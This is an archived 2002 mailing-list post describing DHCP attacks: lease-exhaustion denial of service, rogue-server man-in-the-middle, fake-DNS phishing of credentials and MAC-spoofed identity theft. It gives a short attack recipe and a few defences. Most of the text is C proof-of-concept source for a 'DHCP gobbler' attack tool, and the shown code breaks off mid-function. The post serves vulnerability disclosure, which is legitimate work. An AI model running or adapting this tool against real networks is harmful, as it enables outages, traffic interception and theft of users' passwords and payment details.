Vulnerability Development mailing list archives

DHCP man in the middle attack


From: <root () networkpenetration com>
Date: 21 Sep 2002 00:02:13 -0000



www.networkpenetration.com
--------------------------
Ste Jones
root () NetworkPenetration com


Flaws within the Dynamic Host Configuration Protocol
----------------------------------------------------
This paper highlights some of the problems with the Dynamic Host Configuration Protocol (DHCP) 
such as denial of service, how to perform a man in the middle attack and also how to steal a 
machines identity. Proof of concept source code is available from www.networkpenetration.com.


Overview of the Dynamic Host Configuration Protocol
---------------------------------------------------
DHCP is used to automatically configure machines with an IP address so that the hosts do not
have to be statically assigned IP addresses. DHCP helps reduce administration as a central
server issues IP addresses to network cards upon request. DHCP also helps combat the problem
 of a shortage of IP version 4 address as DHCP allows more machines than there are available
 IP addresses.  Most ISPs that have dial up access use DHCP to set a modems IP address, as
they assume that not every modem will be online at the same time.


Packet exchange for a clients interface to obtain an IP address
---------------------------------------------------------------
For a clients network interface card (NIC) to be assigned an IP address various packets are sent
from the NIC to the DHCP server. The packet exchange is as follows

1. The client sends a DHCP discover packet, indicating that a clients interface requires a IP
 address from a DHCP server. The clients interface may ask for its previous IP address from
 the server, this may cause problems with the man in the middle attack (explained later). 

2. The server sends a DHCP offer packet, informing the client of what IP address is on offer. 
The IP address being offered may or may not be the one requested (if the interface asked for 
a specific IP address with the discover packet) depending on how busy the network is. If the 
network is busy then the IP address requested with the discover packet may have already been 
re-assigned to a different interface, thus a different IP address will be offered.

3. The client sends a DHCP request, informing the DHCP server that the clients NIC wishes to be 
assigned the IP address sent by the servers offer.

4. The server sends a DHCP ack, acknowledging that the NIC has sent a request for a specific IP
address. At this point the clients interface assigns / binds the IP address from the DHCP servers 
offer packet in step two.

Once this sequence of packets occurs a client has been assigned an IP address and probably a default 
gateway and DNS server. Numerous options can be set by the DHCP server, for a full list consult the
RFC documentation. 


Denial of service attack
------------------------
By spoofing the clients packet exchange a DHCP server will happily give all the available leases to 
spoofed MAC address thus causing a denial of service. Any machine wishing to join the network after 
the attack would not be allocated an IP address as the whole of the DHCP range will have been either 
allocated to valid interfaces (ie. interfaces already joined to the network before the attack took
place) or spoofed MAC addresses (from the attack). Any interface already joined to the network would
not notice the effect of the attack as they have already been assigned an IP address, but interfaces 
without a IP address would not be able to join the network as the DHCP server will have no available
IP addresses.

Some DHCP servers issue ARP requests or ICMP pings to detect for IP addresses that may be reclaimed by
the server. This is done as operating systems / interfaces do not release there assigned IP address 
when shutdown. Basic testing of the denial of service code successfully defeat the ARP method of 
reclaiming IP addresses (ICMP method was not tested) as the number and speed of requests for IP addresses
was significantly higher than the number of ARP requests issued by the DHCP server (when running multiple
copies of the source code in a script). The source code could be extended to sniff for ARP requests / ICMP
ping requests and reply accordingly thus defeating the servers method of reclaiming addresses.

A windows 2000 machine running DHCP with active directory, sends a packet at boot up to check that it is
the only DHCP server on the network, if it is the only DHCP server then it is authorised and allowed
to act as a DHCP server. Further investigation is required to see if this can be reversed to deny a 
win2k DHCP server from starting.


Rogue DHCP server
-----------------
By setting up a rogue DHCP server, a hacker could create a veritable playground for him/her self. The DHCP
protocol can aid a hacker to redirect traffic through their machine (man in the middle attack) or send
users to false web pages (via a rogue DNS server). This could occur as a DHCP server can set various options
 such as what IP address to use for the default gateway and also what DNS servers to use.


Man in the middle attack
------------------------
By starting a rogue DHCP server, the real DHCP server and the rogue server will fight to assign a interface
 an IP address. If a rogue server wins then the interface could be assigned a different default gateway. 
By assigning a different default gateway (i.e. a hackers machine) all outgoing packets would be sent via
 the hackers machine thus sniffable. The machine acting as the default gateway would need to rewrite the
MAC layer to enable the packets to be forwarded to the correct destination (ie the correct default gateway).


How the man in the middle attack works
--------------------------------------
The source code grabs an IP address from the DHCP server using the same method as the denial of service but
 instead of stealing all the IP addresses only one IP address is stolen. A rogue DHCP server is then 
started and listens for a client to send a discovery packet to the broadcast address. The rogue server and
 the valid server then both send a offer packet (the rogue server issues the IP address stolen at the start
 of the attack, this is to ensure that no IP address conflicts occur) and depending on which reaches the 
client first, determines which server the client uses. If the client uses the valid DHCP server then the man
 in the middle attack will fail.... If the client uses the rogue DHCP server the man in the middle attack will
succeed.


A couple of problems with the man in the middle attack
------------------------------------------------------
One problem with the DHCP man in the middle attack is that it may not work on a small network. The attack may
 not work if the NIC's request for its old IP address is fulfilled. If the normal DHCP server can fulfil the 
request for the specified IP address, the NIC will be assigned the previous IP address and not the one from
 the rogue server. The only way a rogue server can assign IP addresses is if the requested IP address is not
 available on the normal DHCP server (i.e. The address has been re-allocated to another interface). The rogue
 server would not be able to fulfil the NIC's initial request as the rogue servers address range is based on 
stolen addresses from the normal DHCP server, and is unlikely to contain the IP address requested. If a rogue
 server issues a requested IP address to any NIC that wanted it, problems would occur on the network as
 multiple machines may have the same IP address.

Another problem with the attack is that it would only be a one way attack as the default gateway assigned
 by the rogue DHCP server is not the real default gateway. The fake gateway would need to sniff the packets
 and rewrite the MAC layer to enable the packets to be sent to the correct default gateway. The problem 
would occur with packets being sent from the correct default gateway back to the attacked machine as the 
packets would not pass through the rogue gateway, thus can not be sniffed. This basically means that all
 outgoing traffic can be sniffed and all incoming traffic can't.

A full man in the middle attack can be established using programs such as Dsniff and Ettercap which both 
utilise ARP poisoning to establish the man in the middle attack. 


Exploiting DHCP to trick users into using a fake DNS server
-----------------------------------------------------------
As mentioned above a DHCP server can tell a interface which DNS server to use, so by specifying a hackers
 machine running a fake DNS server could make getting usernames, passwords, credit card numbers relatively
 easily. The fake DNS server would point for example www.hotmail.com to the hackers IP address.... so as long
 as the hacker has a convincing copy of hotmail's front page the username and password could be easily stolen.


Stealing a machines identity
----------------------------
Many servers that use DHCP get re-assigned the same IP address every time they request an IP address. A list
 of MAC addresses (maintained by the administrator) is used to re-assign the same IP address to a specific
 MAC address. By spoofing the MAC address of a specific machine and requesting the corresponding IP address
 a machines identity can be stolen. For this to occur the target machine needs to DoSed, and the packet 
exchange (to steal the identity) to take place before the machine is rebooted. If successful the target
 machines IP address will be given to the hacker and with a bit of ARP trickery (reply to ARP requests)
 that state should be maintained.


Man in the middle attack a machine on a small network (noisy method)
--------------------------------------------------------------------
1) Denial of service a machine on the network, try using jolt2.
2) Before the machine reboots, steal the IP address it was allocated so that it has to request a new address
3) Start a rogue DHCP server, and hope that it wins the fight to assign a clients IP address.


Recommendations
---------------
Deploy switches (not hubs) and ensure that mac spoofing is not allowed on them. 
Use the DHCP protocol monitor (snort IDS plug-in) to identify possible rogue servers.

More info
---------
RFC 2131 & 2132



Source code
-----------

//DHCP.h
//DHCP gobbler header file
//includes
#include <stdio.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <getopt.h>
#include <arpa/inet.h>
#include <string.h>
#include <signal.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <libnet.h>
#include <pcap.h>
//#include <errno.h>
#include <setjmp.h>
//defines
#define SA struct sockaddr
#define SPORT 67
#define CPORT 68
#define VER "0.66"
#define MAXLINE 4096
#define MAX_PAYLOAD_SIZE 1025
#define CMD "udp and dst port %d" //gobbling
#define CMD2 "udp and src port %d or src port %d" //mitm
#define CMD3 "ether dst ffffffff" //arpsniff

//variables
extern int verbose;
extern int datalink;
extern char *device;
extern int fddipad;
extern pcap_t *pd;
extern int snaplen;
extern char buf;
extern int count;
extern int middle;
extern int ackit;
extern int requestit;
extern int samemac;
extern int nackit;
extern int offerit;
extern unsigned int reqipa, reqipb, reqipc, reqipd, sentipa, sentipb, sentipc, sentipd, subneta, subnetb, subnetc, 
subnetd, dnsa, dnsb, dnsc, dnsd, dnse, dnsf,dnsg, dnsh, gatewaya, gatewayb, gatewayc, gatewayd, renewa, renewb, renewc, 
renewd, rebinda, rebindb, rebindc, rebindd, renewala, renewalb, renewalc, renewald, rebinda, rebindb, rebindc, rebindd, 
leasea, leaseb, leasec, leased;
extern u_char storedmac[6];
extern int storedpackid;
extern int nonewips;
extern int gipnum;
extern int arpsniff;

//structs
struct header{
        struct iphdr ip; //ip header
        struct udphdr udp; //udp header
        char buf[548]; //DHCP header
};

struct arpheader{
        struct libnet_arp_hdr arp;
};

struct gobbledIPs{
        unsigned int address[4];
        unsigned int ethernet[7];
};

//prototypes
void usage(char *progname);
struct header  *opensniff(u_char comp1, u_char comp2, u_char comp3, u_char comp4);
void open_pcap(void);
struct header *udp_check(char *ptr, int len);
struct header *udpread(void);
char *next_pcap(int *len);
unsigned short in_chksum(unsigned short *pts, int nbytes);
void cleanup(int sigio);
struct header *gobble(void);
char *next_pcap(int *);
void open_pacp(void);
void mitm(void);
void sig_alrm(int sigio);
void sniffedattack(struct header *heada);
void trickery(void);
void getgatewaymac();
void gatewayarpsniff();
//convert.c prototypes
unsigned int convert32(char *ptr, int anum, int bnum, int cnum, int dnum);
unsigned int convert16(char *ptr, int anum, int bnum);
unsigned int convert8(char *ptr, int num);

//libnet stuff
extern u_char *netdevice;
//
//
//end of DHCP.h




//start of main.c
/*12 may 2k2
www.networkpenetration.com
dhcp gobbler by Ste Jones root () networkpenetration com
proof of concept code for DCHP IP excaution attack + proof of concept of man in the middle attack

Tested on mandrake 8 against a win2k advanced server box running the default DHCP server
should work against all DHCP servers.
to defend against this attack make sure your switches are properly configured to
disallow spoofed mac address + also apply a strict access policy to the DHCP server esspecially on
wireless networks.


bugs.... probably lots.....
sometimes the sniffer freezes at the start..... just ctrl+c and restart
use ./compile to build DHCP gobbler

for educational use only
Paper avialable from www.networkpenetration.com

TO DO
-----
The rouge dhcp server works... ie it sets the default gateway and DNS server to the ones
specified on the command line. Addition coding is required for this program to  act as a default gateway
and also a spoofed DNS server needs to be written. Ideally the spoofed DNS would perform
a zone transfer to perform the DNS lookup's, coupled with a list of addresses
with their corrisponding spoofed ip addresses

recode as multithreaded
need to create list of IPs + mac addresses to defeat arp request method of reclaiming addresses
add wireless support
add ppp support for testing pen testing ISP's
mitm..... rewrite mac layer so packets can be forwarded, 
probe for mac address of normal gateway
*/



#include "DHCP.h"

int datalink, gob, count, middle, maninthemiddle, timeout, ackit, nackit, requestit, offerit, samemac, nonewips, 
gipnum, storedpackid;
register int verbose;
static sigjmp_buf jmpbuf;
static int canjump;
char *device; //libpcap device
pcap_t *pd;
int fddipad; //fddi hack
int snaplen = 600;
u_char *netdevice; //libnet device
unsigned int reqipa = 0, reqipb = 0, reqipc = 0, reqipd = 0; //requested IP
unsigned int sentipa = 0, sentipb = 0, sentipc = 0, sentipd = 0; //sent requested ip
unsigned int subneta = 0, subnetb = 0, subnetc = 0, subnetd = 0; //store offered subnet mask
unsigned int dnsa = 0, dnsb = 0, dnsc = 0, dnsd = 0, dnse = 0, dnsf = 0, dnsg = 0, dnsh = 0; //dns server 2 addresses
unsigned int gatewaya = 0, gatewayb = 0, gatewayc = 0, gatewayd = 0;
unsigned int renewala = 0, renewalb = 0, renewalc = 0, renewald = 0;
unsigned int rebinda = 0, rebindb = 0, rebindc = 0, rebindd = 0;
unsigned int leasea = 0, leaseb = 0, leasec = 0, leased = 0;
u_char storedmac[6];
struct gobbledIPs gips[512]; //Array for the gobbled IP addressess..... should really sort out malloc for each new IP
struct header sniffedofferheader;
struct in_addr gateway;
struct in_addr dns;
struct in_addr fakedhcp;
struct arpheader arphdr;
int arpsniff;

int main (int argc, char **argv)
{
        int c;
        struct header *head;
        int flag;
        
        printf("\nDHCP gobbler v" VER " from www.networkpenetration.com\n");
        printf("--------------------------------------------------\n\n");
        
        device = NULL;
        netdevice = NULL;
        
        flag = 0;
        opterr = 0;
        while ((c = getopt(argc, argv, "s:i:gvm:n:t:D:G:A:M")) != -1){
                switch(c){
                        case 'i': netdevice = optarg; //libnet device
                                  break;
                        
                        case 's': device = optarg; //libpcap device
                                  break;
                        
                        case 'g': gob = 1; //gobble all the addresses
                                  break;
                        
                        case 'v': verbose = 1;    
                                  break;

                        case 'm': maninthemiddle = atoi(optarg);
                                  break;

                        case 't': timeout = atoi(optarg);
                                  break;
                
                        case 'G': if(!inet_aton(optarg, &gateway)){
                                          printf("Malformed Gateway IP address: %s\n\n", optarg);
                                          exit(1);
                                  }
                                  flag++;
                                  break;  
                                  

                        case 'D': if(!inet_aton(optarg, &dns)){
                                          printf("Malformed DNS IP address: %s\n\n", optarg);
                                          exit(1);
                                  }
                                  flag++;
                                  break;

                        case 'A' : if(!inet_aton(optarg, &fakedhcp)){
                                           printf("Malformed fake DHCP server address: %s\n\n", optarg);
                                           exit(1);
                                   }
                                   flag++;
                                   break;
                                   
                        case 'M': getgatewaymac();
                                  exit(1);
                                  break;
                                  
                
                        case '?': usage(argv[0]);
                                  exit(0);
                                  
                        default: usage(argv[0]);
                                 exit(0);
                }
        }
        
        if((gob) && (maninthemiddle)){
                printf("Can't gobble and do a man in the middle attack at the same time\n\n");
                exit(1);
        }
        
        if(!timeout) timeout = 3; //10 sec in RFC for each MAC
        if(timeout < 1) {
                printf("Timeout needs to be greater than 1\n\n");
                exit(1);
        }
        //printf("Timeout set to %d seconds\n", timeout);
        
        //auto detect interface IP address for default gateway, use default DNS intially
        if((maninthemiddle) && (flag != 3)){
                printf("When performing a man in the middle attack you need to specify a DNS, default gateway and fake 
DHCP server address\n\n");
                exit(1);
        }

        if(gob) {
                for( ; ; ){
                        sleep(1.5);
                        head = gobble();
                }
                exit(0);
        }
        if(maninthemiddle){
                        mitm();
                exit(0);
        }
        usage(argv[0]);
        exit(0);
}

void usage(char *progname)
{
        printf( "Attack Options\n"\
                "-g to gobble all available IP's\n"\
                "-m <#> Start a man in the middle attack, # indicates number of connections to initially gobble\n\n"\
                "Man in the middle attack options\n"\
                "-D <IP Address> IP address of spoofed DNS server\n"\
                "-G <IP Address> IP address of spoofed default gateway\n"\
                "-A <IP Address> IP address of fake DHCP server (can be spoofed)\n\n"\
                "Misc Options\n"\
                "-s <NIC> select interface for sniffer use\n"\
                "-i <NIC> select interface for injecting packets\n"\
                "-v verbose\n\n"\
                "Press CTRL+C to quit the DHCP gobbler\n\n");
        exit(0);
}

struct header *opensniff(u_char comp1, u_char comp2, u_char comp3, u_char comp4)
{
        struct header *heada;
        char sname[64];
        char file[128];
        register int loop;
        int sstart, fstart, t, len, offer;
        int padcount = 0;
        int comp1a, comp2a, comp3a, comp4a;
        int discover = 0;
        int request = 0;
        int nack = 0;
        int ack = 0;
        int decline = 0;
        int addra, addrb, addrc, addrd;
        
        
        open_pcap();
        
        printf("Sniffing DHCP packets.....\n");
        for ( ; ; ){
                bzero(&heada,  sizeof(heada));
                heada = udpread();
                padcount = 0;
                
                //store IP addresses
                addra = convert8(heada->buf, 16);
                addrb = convert8(heada->buf, 17);
                addrc = convert8(heada->buf, 18);
                addrd = convert8(heada->buf, 19);
        
                
                if(verbose){
                        printf("\nGot a DHCP packet\n");
                        printf("OP: %x ", heada->buf[0]);
                        if(heada->buf[0] == 1){
                                printf("Boot Request");
                        }
                        if(heada->buf[0] == 2){
                                printf("Boot Reply");
                        }
                        printf("\nH Type: %x", heada->buf[1]);
                        if(heada->buf[1] == 1){
                                printf(", 10Mb Ethernet");
                        }
                        printf("\nHLEN: %x", heada->buf[2]);
                        if(heada->buf[2] == 6){
                                printf(", 10Mb Ethernet");
                        }
                        printf("\nHops: %x", convert8(heada->buf,3));
                        printf("\nTransaction ID: %x %x %x %x", convert8(heada->buf,4), convert8(heada->buf,5), 
convert8(heada->buf,6), convert8(heada->buf,7));
                        printf("\nElapsed Time: %d secs", convert16(heada->buf, 8,9));
                        printf("\nReserved: %x %x",  convert8(heada->buf,10), convert8(heada->buf,11));
                        printf("\nCli addr: %d.%d.%d.%d", convert8(heada->buf, 12), convert8(heada->buf,13), 
convert8(heada->buf, 14), convert8(heada->buf, 15));
                        printf("\nYi addr: %d.%d.%d.%d", convert8(heada->buf,16), convert8(heada->buf,17), 
convert8(heada->buf,18), convert8(heada->buf,19));
                        printf("\nSi addr: %d.%d.%d.%d", convert8(heada->buf,20), convert8(heada->buf,21), 
convert8(heada->buf,22), convert8(heada->buf,23));
                        printf("\nGi addr: %d.%d.%d.%d", convert8(heada->buf,24), convert8(heada->buf,25), 
convert8(heada->buf,26), convert8(heada->buf,27));
                        printf("\nHardware address %x %x %x %x  %x %x %x %x  %x %x %x %x  %x %x %x %x", 
convert8(heada->buf,28), convert8(heada->buf,29), convert8(heada->buf,30), convert8(heada->buf,31), 
convert8(heada->buf,32), convert8(heada->buf,33), convert8(heada->buf,34), convert8(heada->buf,35), 
convert8(heada->buf,36), convert8(heada->buf,37), convert8(heada->buf,38), convert8(heada->buf,39), 
convert8(heada->buf,40), convert8(heada->buf,41), convert8(heada->buf,42), convert8(heada->buf,43));
                        sstart = 44;
                        for(loop = 0; loop < 64; loop++) {
                                bcopy(&heada->buf[sstart], &sname[loop], 1);
                                sstart++;
                        }
                        printf("\nSname: %s\n", sname); //44 -> 107
        
                        fstart = 108;
                        for(loop = 0; loop <128; loop++){
                                bcopy(&heada->buf[fstart], &file[loop], 1);
                                fstart++;
                        }
                        printf("file: %s\n", file); //108 ->235
                        printf("magic cookie: %d.%d.%d.%d\n",convert8(heada->buf,236), convert8(heada->buf,237), 
convert8(heada->buf,238), convert8(heada->buf,239));
                
                } //end of if verbose
                t = 240;
                
                while(t <= 548){
                        len = 0;
                        switch (heada->buf[t]) {
                                        //start of switch for option tag
                                        //255 different tags..... far to many to implement at the moment
                                case 1: //subnet address
                                        len = heada->buf[t+1];
                                        subneta = convert8(heada->buf, (t+2));
                                        subnetb = convert8(heada->buf, (t+3));
                                        subnetc = convert8(heada->buf, (t+4));
                                        subnetd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Subnet Mask, len: %d, data: ",len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%d ", convert8(heada->buf, (t+loop+2)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                        
                                case 3: //router option (default gateway)
                                        len = heada->buf[t+1];
                                        gatewaya = convert8(heada->buf, (t+2));
                                        gatewayb = convert8(heada->buf, (t+3));
                                        gatewayc = convert8(heada->buf, (t+4));
                                        gatewayd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Router Option (default gateway), len: %d, data: 
%d.%d.%d.%d\n",len, convert8(heada->buf, t+2), convert8(heada->buf, t+3), convert8(heada->buf, t+4), 
convert8(heada->buf, t+5));
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose)printf("End of router list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose)printf("eek should of been end of list, the rest of the 
packet may be rubbish\n");
                                        }
                                        break;

                                case 6: //domain name server
                                        len = heada->buf[t+1];
                                        dnsa = convert8(heada->buf, (t+2));
                                        dnsb = convert8(heada->buf, (t+3));
                                        dnsc = convert8(heada->buf, (t+4));
                                        dnsd = convert8(heada->buf, (t+5));
                                        //still need to sort 2nd dns server
                                        if(verbose) printf("Domain name server IP, len: %d, data: ", len);
                                        for(loop = 0; loop <len; loop++){
                                                if(verbose) printf("%d ", convert8(heada->buf, (t+loop+2)));
                                        }
                                        if(verbose) printf("\n");
                                                t = t+len+2;
                                                if(heada->buf[t] == -1){
                                                if(verbose) printf("End of domain name parameter list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose) printf("eek should of been end of list, the rest of the 
packet may be rubbish\n");
                                        }
                                        break;
                                        
                                case 12: //hostname
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Hostname: ");
                                        for(loop = 0; loop <len; loop++){
                                                if(verbose) printf("%c",(char)heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;

                                case 50://request IP address
                                        len = heada->buf[t+1];
                                        reqipa = convert8(heada->buf, (t+2));
                                        reqipb = convert8(heada->buf, (t+3));
                                        reqipc = convert8(heada->buf, (t+4));
                                        reqipd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Request IP address, len: %d, data: %d.%d.%d.%d\n", len, 
reqipa, reqipb, reqipc, reqipd);
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose)printf("End of requested IP list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose)printf("eek should of been end of list, the rest of the 
packet may be rubbish\n");
                                        }
                                        break;

                                case 51: //IP address lease time
                                        len = heada->buf[t+1];
                                        leasea = convert8(heada->buf, (t+2));
                                        leaseb = convert8(heada->buf, (t+3));
                                        leasec = convert8(heada->buf, (t+4));
                                        leased = convert8(heada->buf, (t+5));
                                        if(verbose)printf("IP address lease time, len: %d, data: ", len);
                                        if(len == 4){
                                                if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+2+1), 
(t+2+2), (t+2+3)));
                                        }
                                        if(verbose)printf("\n");
                                        t = t+len+2;
                                        break;
                                
                                case 53: //Message Type
                                        len = heada->buf[t+1];
                                        if(verbose)printf("Message Type, len: %d, TYPE: %d ", len, heada->buf[t+len+1]);
                                        if((heada->buf[t+len+1]) == 1){
                                                if(verbose) printf("DHCP Discover\n");
                                                discover = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 2){
                                                if(verbose) printf("DHCP Offer\n");
                                                offer = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 3){
                                                if(verbose) printf("DHCP Request\n");
                                                request = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 4){
                                                if(verbose) printf("DHCP Decline\n");
                                                decline = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 5){
                                                if(verbose) printf("DHCP Ack\n");
                                                ack = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 6){
                                                nack = 1;
                                                t = t+len+2;
                                                if(verbose) printf("DHCP Nack\n");
                                                        break;
                                        }
                                        if((heada->buf[t+len+1]) == 7){
                                                t = t+len+2;
                                                if(verbose) printf("DHCP Release\n");
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 8){
                                                t = t+len+2;
                                                if(verbose) printf("DHCP Inform\n");
                                                break;
                                        }
                                        break; //shouldn't reach here

                                case 54: //server IP
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Server IP, len: %d data: ",len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%d ",convert8(heada->buf, (t+loop+2)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose) printf("End of Server IP parameter list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose) printf("eek should of been end of list, the rest of the 
packet may be rubbish\n");
                                        }
                                        break;
                                
                                case 55: //request list
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Request parameters list, len: %d\n", len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%x ",heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose) printf("End of request parameter list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose) printf("eek should of been end of list, the rest of the 
packet may be rubbish\n");
                                        }
                                        break;  
                                        
                                case 57: //MAX DCHP message size
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Max DHCP message size len: %d, data: %d\n", len, 
convert16(heada->buf, (t+2), (t+3)));
                                        t = t+len+2;
                                        break;
                                
                                case 58: //renewal (T1) time value 
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Renewal (T1) time, len: %d, data: ", len);
                                        
                                        renewala = convert8(heada->buf, (t+2));
                                        renewalb = convert8(heada->buf, (t+3));
                                        renewalc = convert8(heada->buf, (t+4));
                                        renewald = convert8(heada->buf, (t+5));

                                        if(len == 4){
                                                if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+3), 
(t+4), (t+5)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;

                                case 59: //Rebinding (T2) time value
                                        len = heada->buf[t+1];
                                        rebinda = convert8(heada->buf, (t+2));
                                        rebindb = convert8(heada->buf, (t+3));
                                        rebindc = convert8(heada->buf, (t+4));
                                        rebindd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Rebinding (T2) time, len: %d, data: ",len);
                                        if(len == 4){
                                                if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+3), 
(t+4), (t+5)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                
                                case 60: //class ID
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Class ID, len: %d, data: ",len);
                                        for(loop = 0; loop <len; loop++){
                                                  if(verbose) printf("%c",(char)heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                
                                case 61: //client identfier 
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Client Identifier, len: %d data: ", len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%x ",heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                          
                                
                                default:
                                        if((heada->buf[t]) == 0) {
                                                if(verbose) printf("pad ");
                                                padcount++;
                                                t++;
                                                break;
                                        }
                                        
                                        else{   
                                                len = heada->buf[t+1];
                                                if(verbose) printf("Unknown option number: %x, len: %d data: ", 
heada->buf[t], len);
                                                for(loop = 0; loop <len; loop++){
                                                        if(verbose) printf("%x ",heada->buf[t+loop+2]);
                                                }
                                                if(verbose) printf("\n");
                                                t = t+len+2;
                                                if(heada->buf[t] == -1){
                                                        if(verbose) printf("End of some random list\n");
                                                        t++;
                                                }
                                                break;
                                        }
                                } //end of switch
                                
                                if(padcount > 5) {
                                        //save's dumping lots of pads
                                        if(verbose) printf("padding......\n");
                                        break;
                                }
                        
                        }//end of options
                        
                        if (verbose) printf("\n--------END OF PACKET--------\n\n");
                        comp1a = convert8(heada->buf, 4);
                        comp2a = convert8(heada->buf, 5);
                        comp3a = convert8(heada->buf, 6);
                        comp4a = convert8(heada->buf, 7);
                        
                        if((offer) && (!middle) &&(!requestit) && (!ackit)){
                                if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){
                                        printf("Got a DHCP OFFER packet\n");
                                        memcpy(&sniffedofferheader, heada, sizeof(heada));
                                        return(heada);
                                }
                        }
                
                        if((discover) && (middle)){
                                if(requestit){
                                        printf("Need to send another offer\n");
                                        sniffedattack(heada);
                                }
                                else {
                                        printf("Got A DHCP discover packet..... a host is trying to find a valid IP\n");
                                        return(heada);
                                }
                        }
                
                        if((request) && (requestit)){
                                printf("got a dhcp request packet\n");
                                if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){
                                        printf("Transaction compare passed...\n");
                                        printf("Request IP: %d.%d.%d.%d\n", reqipa, reqipb, reqipc, reqipd);
                                        printf("Offerd  IP: %d.%d.%d.%d\n", sentipa, sentipb, sentipc, sentipd);
                                        if((reqipa == sentipa) && (reqipb == sentipb) && (reqipc == sentipc) && (reqipd 
== sentipd)){
                                                        printf("Sent + Requested IP's match.... sending ack\n");
                                                        return(heada);
                                        }
                                        else {
                                                printf("Doh..... another server assigned the hosts IP address\n");
                                                printf("No man in the middle attack established...... retrying\n");
                                                nonewips = 1;
                                                mitm();
                                        }
                                }
                                else printf("Doh.... Client requested a different IP address\n");
                        }
                                        
                if((ack) && (ackit)){
                        printf("Got a DHCP ACK packet\n"); 
                        if((comp1a == comp1) &&  (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){
                                if(verbose) printf("ACK Transaction compare passed...\n");
                                if((reqipa == sentipa) && (reqipb == sentipb) && (reqipc == sentipc) && (reqipd == 
sentipd)){
                                        count++;        
                                        printf("%d.%d.%d.%d gobbled.... Total: %d\n\n",addra, addrb, addrc, addrd,  
count);
                                                ackit = 0;
                                                return(heada);
                                }
                                else {
                                        printf("Doh..... IP address not gobbled retrying\n\n");
                                        ackit = 0;
                                        gobble();
                                }
                        }
                }
                        
                if((nack) && (nackit)){
                        if((comp1a == comp1) &&  (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){
                                printf("Got A DHCP nack packet client should resend discover... restarting man in the 
middle attack\n");
                                nonewips = 1;
                                mitm();
                        }
                }
        }//end of for loop
}
        
struct header *udpread(void)
{
        int len;
        char *ptr;
        struct ether_header *eptr; //we get the ethernet header here
        signal(SIGTERM, cleanup);
        signal(SIGINT, cleanup);
        signal(SIGHUP, cleanup);
        for ( ; ; ){
                ptr = next_pcap(&len); 
                switch(datalink) {
                        case DLT_NULL:
                                return(udp_check(ptr+4, len-4));

                        case DLT_EN10MB:
                                eptr = (struct ether_header *) ptr;
                                if(ntohs(eptr->ether_type) != ETHERTYPE_IP){
                                        printf("Ethernet Type %x not IP\n", ntohs(eptr->ether_type));
                                        //exit(1);
                                        break; //need to check
                                }
                                return(udp_check(ptr +14, len -14));

                        case DLT_SLIP: //slip header
                                return(udp_check(ptr +24, len -24));

                        case DLT_PPP: //ppp header
                                return(udp_check(ptr +24, len -24));

                        default:
                                printf("Unsupported datalink %d", datalink);
                                exit(1);
                }
        }
}

struct header *
udp_check(char *ptr, int len)
{
        int hlen;
        struct ip *ip;
        struct header *hdr;
        
        if(len < sizeof(struct ip) + sizeof(struct udphdr)){
                printf("len = %d\n", len);
                exit(1);
        }

        ip = (struct ip *) ptr;
        if(ip->ip_v != IPVERSION) {
                printf("ip_v = %d\n", ip->ip_hl);
                exit(1);
        }

        hlen = (ip->ip_hl << 2);
        if(hlen < sizeof(struct ip)){
                printf("ip_hl = %d\n", ip->ip_hl);
                exit(1);
        }
        
